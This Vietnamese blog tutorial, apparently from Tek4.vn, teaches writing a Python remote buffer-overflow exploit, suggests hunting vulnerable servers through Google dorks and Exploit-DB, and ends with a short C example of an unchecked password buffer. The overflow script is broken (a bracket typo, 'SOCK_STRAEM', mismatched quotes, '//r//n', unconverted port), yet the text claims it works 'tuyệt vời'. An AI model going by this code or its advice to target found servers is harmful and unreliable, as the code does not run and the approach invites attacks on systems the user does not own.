Trong b&agrave;i viết n&agrave;y, c&ugrave;ng Tek4.vn t&igrave;m hiểu c&aacute;ch viết code để khai th&aacute;c lỗi tr&agrave;n bộ đệm từ xa (Remote Buffer Overflow Exploit) bằng Python chỉ hoạt động với TCP.
Y&ecirc;u cầu:&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Python 3.4
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Kết nối Internet
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- Một m&aacute;y chủ dễ bị tấn c&ocirc;ng
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- M&aacute;y t&iacute;nh chạy Windows hoặc Linux
Nếu bạn chưa c&agrave;i đặt Python, h&atilde;y tải xuống từ li&ecirc;n kết sau: <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a>
<h2 style="text-align: justify;">C&aacute;c bước viết m&atilde; khai th&aacute;c tr&agrave;n bộ đệm từ xa với Python:</h2>
<ol style="text-align: justify;">
<li> T&igrave;m server để thử nghiệm</li>
</ol>
Đ&acirc;y l&agrave; bước kh&aacute; phức tạp, Bạn c&oacute; thể t&igrave;m kiếm dorks tại GHDB (<a href="https://www.exploit-db.com/google-hacking-database/">https://www.exploit-db.com/google-hacking-database/</a>) hoặc đối với phần mềm dễ bị tấn c&ocirc;ng tại Exploit-DB (https://www.exploit-db.com).
<ol style="text-align: justify;" start="2">
<li> Viết code</li>
</ol>
Viết code l&agrave; một bước đơn giản. Bắt đầu từ việc import sys v&agrave; socket, sau đ&oacute;, viết m&atilde; như sau:
<pre class="language-python"><code>for carg in sys.argv:
 if carg == "-s":
 argnum = sys.argv.index(carg)
 argnum += 1
 host = sys.argv[argnum]
 elif carg == "-p":
 argnum = sys.argv.index(carg)
 argnum += 1
 port = sys.argv[argnum[
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM)
s.connect((host,port))
s.send("USV " + buffer + "//r//n//r&rdquo;)
s.close()</code></pre>
<img style="width: 700px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/d4a41548-a59a-49b2-818f-fef8c2aa0ec2" alt="buffer_overflow_exp1" />
Trong đoạn code tr&ecirc;n, d&ograve;ng thứ hai tiến h&agrave;nh tạo một bộ đệm, được nh&acirc;n l&ecirc;n 3000 lần. Sau đ&oacute;, c&aacute;c d&ograve;ng khai b&aacute;o s l&agrave; socket, kết nối với n&oacute;, gửi bộ đệm v&agrave; đ&oacute;ng socket.&nbsp;
Sau khi đ&atilde; thực hiện c&aacute;c bước tr&ecirc;n, bước tiếp theo l&agrave; tiến h&agrave;nh kiểm tra tập lệnh.
<img style="width: 700px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/253ce220-af04-4ae0-ab65-0765ed7775dd" alt="buffer_overflow_exp2" />
Như bạn thấy, kịch bản hoạt động thực sự tuyệt vời. Bạn c&oacute; thể kiểm tra n&oacute; tr&ecirc;n một trong những m&aacute;y chủ của m&igrave;nh c&oacute; phần mềm dễ bị tấn c&ocirc;ng. Ch&uacute;c bạn may mắn tr&ecirc;n h4x1ng!
<h3 style="text-align: left;">L&agrave;m thế n&agrave;o để tr&aacute;nh RBO?</h3>
C&aacute;ch tr&aacute;nh RBO c&ograve;n phụ thuộc v&agrave;o ng&ocirc;n ngữ lập tr&igrave;nh. V&iacute; dụ: tr&ecirc;n C, bạn c&oacute; thể dễ bị tr&agrave;n bộ đệm từ xa nếu bạn sử dụng m&atilde; như sau:
<pre class="language-python"><code>int authed = 0;
char password_buffer[16];
strcopy(password_buffer, your_password)
if (strcmp(password_buffer, password) == 0) {
 authed = 1;
}
else {
 authed = 0;
}</code></pre>
V&igrave; vậy, khi your_password tr&ecirc;n 16, bạn c&oacute; thể implement auth overflow hoặc nếu c&oacute; nhiều hơn, bạn c&oacute; thể bị tr&agrave;n bộ đệm do lỗi ph&acirc;n đoạn.
Như vậy đối với những trường hợp kh&aacute;c nhau th&igrave; giải ph&aacute;p l&agrave; kh&aacute;c nhau.

Admin

Khai thác Lỗi tràn bộ đệm từ xa với Python

Cùng tác giả

Admin

Có liên quan